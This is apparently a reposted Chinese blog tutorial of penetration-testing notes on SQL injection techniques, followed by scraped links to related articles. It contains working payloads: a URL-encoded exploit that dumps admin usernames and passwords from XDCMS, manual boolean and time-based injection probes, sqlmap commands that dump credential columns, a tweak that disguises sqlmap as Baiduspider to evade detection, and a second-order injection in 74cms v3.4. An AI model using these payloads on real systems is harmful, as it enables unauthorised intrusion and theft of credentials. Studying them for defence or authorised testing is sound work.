大纲:提交方式注入  参数型注入  其他注入

提交方式注入

  常见的提交方式:

  GET:大多数,正常的浏览,以URL的方式进行传参,不安全,明文传输,存在长度限制。xx.com/x.php?id=1

  POST:一般在登录页面,参数在数据包中,不在URL中传输,相对比较安全

  COOKIE:本地登录凭证

  HEAD:头部信息

  PUT  OPTION  

  服务器端接收数据的方式:

  GET  只接受get型的传参

  POST  只接受post型的传参

  REQUEST  get,post,cookie方式都接受

  GET注入

    get注入比较常见

    e.g  www.xx.com/news.php?id=11

    检测:加个 / 报错  -0 正常 --->存在注入

    加 '  SQL语句显错注入  或   %bf'  宽字节绕过

  POST注入

    post提交方式主要适用于表单的提交,注册用户,登录账号,留言,修改账号,修改个人资料,上传文件,搜索框

    用于登录框的注入

    e.g  www.xxx.com/admin.php

    可以在用户注册的时候,在用户名后面加上 ' 会报错,存在注入,将bp抓的包存储成txt文件,用sqlmap跑包,如果在注册的时候,网页对 ' 过滤,可以在bp抓包,将username的后面加上5bf,绕过过滤

    工具:穿山甲、sqlmap

  XDCMS全版本存在SQL注入漏洞

  需要使用代理抓包改包完成

  sql exp

   %60%3D%28select%20group_concat%28username%2C0x3a%2cpassword%29%20from%20c_admin%20where%20id%3D1%29%23

  将这段exp放在5D%的前面(测表单的名称)

  COOKIE注入

    cookie提交用于账号密码的cookie缓存,还可以通过cookie注入来突破简单的防注入系统

    sqlmap.py -u "" --cookie "id=30" --level 2

    前提:服务器接收cookie型的传参

    如果是get型的传参方式,再试试post型的传参,如果能传递成功,说明cookie也是可以的。

    也可以bp抓包,修改cookie.......;id=30

    再用sqlmap跑包

参数型注入

  数字类型注入  字符类型注入  搜索类型注入  

  数字型注入

    www.xxx.com/news.asp?id=1

    select *from news where id=11

    www.xxx.com/news.asp?id=11 and 1=1

    select * from news where id=11 and 1=1

  字符型注入

    www.xx.com/news.asp?id=你好' and 1=1 #

    select * from news where id="你好' and 1=1 #'

    www.xx.com/news.asp?id=你好' and 1=1'

    select * from news where id='你好' and 1=1'

  搜索型修注入

    like 像

    通配符 *

    SQL通配符%%

    select * from news where id="'%like $id%"

    http://www.xx.com/search.asp?Field=Title&BigClassName=&SmallClassName=&Keyworld=123&Submit=%CB%D1%CB%F7

    参数:keyword=123

    '%%' and 1=2 and '%'='%'

    可以直接bp抓包,存为txt,用sqlmap跑包

    网站是通过useragent:sql.org检测sqlmap攻击的

    绕过方法,在安装路径下,lib文件夹中,core文件中的option.py文件的地1425行左右,改为百度的爬行蜘蛛

    return "User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/apilder.html)"

    手工注入:

    2%'and(select count(*)from mssysaccessobjects)>0 and '%'='  //返回正常,access数据库

    2%'and(select count(*)from admin_user)>0 and '%'='  //返回正常,存在admin_user表

    2%'and(select count(username)from admin_user)>0 and '%'='  //返回正常,存在username字段

    2%'and(select count(password)from admin_user)>0 and '%'='  //返回正常,存在password字段

    2%'and(select top 1 len(admin)from admin_user)>4 and '%'='  //返回正常,username长度大于4

    用sqlmap

    先抓包,保存为txt    

    sqlmap.py -r 1.txt --tables  表名

    sqlmap.py -r 1.txt --columns -T "admin"  列名

    sqlmap.py -r 1.txt -C "admin,password" -T "manager" --dump -v 2  内容

其他注入

  伪静态注入  延迟注入  base64注入  二阶注入  

  phpv9 authkey注入  http头注入  XML实体注入  APP注入挖掘

  伪静态注入

    例如:  

    http://xx.com.cn/

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131.html

    检测方法:

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131  返回正常

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131'.html  报错

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131/.html  报错

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131-0.html  报错

    在用sqlmap跑的时候sqlmap检测不不到注入点时,如下

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131*.html

    通常存在于aspcms、phpweb、thinkphp等框架网站

    自己伪造伪静态

    例如:

    xx.com/x_deitl_id_123.html

    对比如下:

    xx.com/x/deitl.php?id=123

  延迟注入

    是一种条件判断,通过时间判断,仅仅是判断,无法上传shell

    延迟注入是通过也免得返回时间长度来判断的,不同的MySQL数据库版本,延迟注入的语句不一样

    MySQL>=5.0的可以用sleep()进行查询

    MySQL<5.0的可以用benchmark()进行查询

    benchmark用法:

    benchmark(n,sql语句)  n为查询次数

    通过查询洗漱的增多,时间变得缓慢来判断是否存在注入

    select benchmark(1000.select * from admin);

    sleep()延迟注入用法

    sleep可以强制产生一个固定的延迟

    sleep()延迟注入的核心原理

      and if(true,sleep(5),0)==IF(1=1,true,false);

    ?id=1 and sleep(5)  判断是否存在延迟注入

    and if(substring(user(),1,4)='root',sleep(5),1)  判断当前用户

    and if(MID(version(),1,1) LIKE 5, sleep(5),1)  判断数据库版本信息是否为5,可以猜解他的数据库名称

    and if(ascii(substring(database(),1,4))>100,sleep(4),1)

    sqlmap.py --time-sec=2  延迟注入

  base64编码注入

    解码

    构造语句

    编码

    $id=base64_decode($id);

    用插件  --tamper=base64encode.py

  二阶注入

  (一般是在白盒测试中进行,需要代码审计)

  sql注入一般分为两种,一阶注入(普通的sql注入)和二阶注入

  一阶注入是发生在一个HTTP请求和响应中,系统堆攻击数据立即反应执行

  一阶注入的攻击过程归纳如下:

    1、攻击者在http请求中提交恶意的sql语句

    2、应用处理恶意的输入,使用恶意的输入动态构建SQL语句

    3、如果攻击实现,在响应中向攻击者返回结果

  二阶注入,作为SQL注入的一种,不同于普通的SQL注入,恶意代码被注入到web应用中不会立即执行,而是存储在后端数据库中,在处理另一个不同的请求时,应用检索到数据库中的恶意输入并利用他动态构建SQL语句,实现攻击。

  二阶注入攻击过程归纳如下:

    1、攻击者在一个HTTP请求中提交恶意输入

    2、用于将恶意输入保存在数据库中

    3、攻击者提交第二个HTTP请求

    4、为处理第二个HTTP请求,应用检索存储在数据库中的恶意输入,动态构建SQL语句

    5、如果攻击实现,在第二个请求的响应中就会返回结果

  一般攻击利用是两种方式

    攻击存储  注入攻击

  74cms人才系统v3.4简历填写中存在注入  aa','fullname'=user()#

实现过程如下:

在网站上搜74cms v3.4的源码,直接放在PHPstudy的www路径下,地址栏中输入127.0.0.1回车,做一番数据库配置就好了

点击填写简历

先注册一个账户

然后创建简历,前面的信息都可以随便填,只要符合格式就好

需要注意的下面一步,这一步中学校名称里面存在二阶注入漏洞,输入我们的测试语句 aa',`fullname`=user()# ,保存提交

此时信息录制成功

此时我们点击预览简历,就可以发现已经将查询结果返回了

2019-05-05  20:17:46

转载于:https://www.cnblogs.com/Yuuki-/p/10815490.html

渗透测试学习 十一、 其他注入漏洞汇总相关推荐

  1. KALI LINUX渗透测试学习笔记

    KALI LINUX渗透测试学习笔记 (苑房弘主讲) 第1章 课程介绍 任务1:Kali Linux渗透测试介绍.exe 安全问题的根源: 分层思想 只求功能实现 最大的威胁是人 渗透测试: 尝试挫败 ...

  2. 渗透测试学习总体概括

    渗透测试学习总体概括 一.相关内容 1.编程语言基础知识语法的一个掌握,对于编程的本身来讲没有区别.2.把一个想法变成一个工具或者功能.3.安全工程师的软件工程能力较弱,也不影响安全的能力.java的 ...

  3. 灰帽黑客:正义黑客的道德规范、渗透测试、攻击方法和漏洞分析技术(第3版)

    基本信息 灰帽黑客:正义黑客的道德规范.渗透测试.攻击方法和漏洞分析技术(第3版)原书名: Gray Hat Hacking: The Ethical Hacker's Handbook, Third ...

  4. web渗透测试学习路径图

    Web渗透测试学习路线 一.基础知识 1.1 网络协议 <图解http> 1.2 编程语言 python 30 days for python go 1.3 Linux/Bash Over ...

  5. kali linux 渗透测试学习笔记——被动信息收集

    kali linux 渗透测试学习笔记--linux 被动信息收集 被动信息收集 被动信息收集 公开渠道可获得的信息 已公开的信息,通过互联网等渠道去获得 与目标系统不产生直接交互 不对目标访问,扫描 ...

  6. 渗透测试学习笔记之案例二

    0x00 前言 渗透是个持续的过程,不断地搜集信息,整理信息,以及利用信息,最终的目标就是拿到系统乃至整个网络的最高权限.在笔者看来,渗透测试与安全研究的最大不同就是前者擅长利用后者的研究成果并运用到 ...

  7. web渗透测试学习网站

    web渗透测试学习网站 信息收集好站 雨从 : 渗透工具 安全圈: OSSA: 洞悉漏洞: 7tools 师傅们: mircro8: panda: smile: landgrey: ajay13 90 ...

  8. 渗透测试学习之靶机DC-2

    1.下载靶机 本篇文章是DC靶机系列的第二个篇,针对DC-2,建议感兴趣的读者从DC-1开始练习((26条消息) 渗透测试学习之靶机DC-1_xdbzdgx的博客-CSDN博客). DC-2的下载地址 ...

  9. 渗透测试基础-文件上传漏洞 (下)

    渗透测试基础-文件上传漏洞 (下) 第十一题 %00截断绕过 第十二题 %00截断绕过(二) 第十三题 图片马绕过 第十四题 getimagesize图片类型绕过 第十五题 php_exif模块图片类 ...

最新文章

  1. java产生随机数(学习)
  2. 解决selenium用cookies时候报错selenium.common.exceptions.InvalidArgumentException: Message: invalid argument
  3. 云原生生态周报 Vol. 16 | CNCF 归档 rkt,容器运行时“上古”之战老兵凋零
  4. PPT图片内嵌文字效果
  5. SPOJ 1676 矩阵乘法+DP
  6. html5中提供的绘图元素,HTML5中Canvas元素的使用总结
  7. Java 算法 特殊的数字四十
  8. mysql表无法获取_CentOS下无法正常获取MySQL数据库表数据的问题
  9. X5 浏览器内核调研报告
  10. 恩尼格玛模拟器_使用ENIGMA模拟器进行数据加密和解密
  11. Coupled Layer-wise Graph Convolution for Transportation Demand Prediction
  12. ligerui demo php,LigerUI——天外飞仙
  13. 2.大型网站架构演化的价值观
  14. LYOI2018 Hzy's Planets
  15. 计算机不通电维修,显示器不通电维修教程
  16. Chrome源码剖析——多线程模型、进程通信、进程模型
  17. 最优化理论·非线性最小二乘
  18. 基于Vue源码中e2e测试实践
  19. 第四范式发布「式说」大模型,以生成式AI重构企业软件(AIGS)
  20. NV21格式图像旋转 c++,平移、缩放实现代码

热门文章

  1. 字符串匹配算法之KMP
  2. 【scala】2.控制结构和函数
  3. Remainders Game (中国剩余定理)
  4. oracle查询题目2道
  5. 利用谷歌翻译。帮助你的网站轻松实现多语言互换
  6. 软件测试 学习之路 linux 基础命令 (三)
  7. 大一计算机专业,大一计算机专业学生
  8. 复制网页的同时可以把图片复制下来_用华为手机“智慧识屏”功能识别图片中文字的方法...
  9. 物联网 终端设备_您拥有多少个物联网设备?
  10. opensource项目_Opensource.com生日快乐:开源7年